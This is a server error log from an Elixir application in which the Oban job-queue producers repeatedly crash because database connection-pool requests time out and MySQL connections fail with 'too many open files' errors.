State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:58:25.241382Z], limit: 5, uuid: "72908e4e-0567-42ea-8987-2687727af22b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:25.241409Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.13877>, refresh_timer: #Reference<0.2525715032.1077673987.13839>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:58:25.239730Z], limit: 20, uuid: "05484d86-5564-4ff4-9055-6e18f505800f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:25.239739Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.40934>, refresh_timer: #Reference<0.2525715032.1099431938.37978>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:58:25.240818Z], limit: 5, uuid: "3132af2d-e8a6-436f-9a8e-b90e8b7be258", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:25.240824Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.40933>, refresh_timer: #Reference<0.2525715032.1068498948.40903>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:58:25.242969Z], limit: 3, uuid: "439e3f49-506c-4650-8682-38a22e6ecd17", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:25.242975Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.13878>, refresh_timer: #Reference<0.2525715032.1077673987.13851>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 867ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:58:25.241650Z], limit: 50, uuid: "cf3b2bc3-f24a-484b-bff2-80bf31577ffb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:25.241655Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.13879>, refresh_timer: #Reference<0.2525715032.1099431938.38009>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1077ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:58:25.241259Z], limit: 10, uuid: "c0fd7c2a-0ac7-46f8-a202-de45bfcb961e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:25.241265Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.40932>, refresh_timer: #Reference<0.2525715032.1068498948.40924>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:43.011000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:47.171000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:47.475000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:49.375000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:49.664000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:58:38.241653Z], limit: 50, uuid: "c8c66faf-c14b-4de9-bf53-facfddc7f9c4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:38.241659Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.14286>, refresh_timer: #Reference<0.2525715032.1077673987.14265>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:58:38.240324Z], limit: 5, uuid: "a96aa27c-a59d-4a86-acdf-cd30a9ab15b3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:38.240329Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.14290>, refresh_timer: #Reference<0.2525715032.1099431938.38048>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:58:38.240969Z], limit: 3, uuid: "0e68e5fb-04a7-49c4-9fc2-e5f4b79f2ba4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:38.240975Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.14287>, refresh_timer: #Reference<0.2525715032.1077673987.14254>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
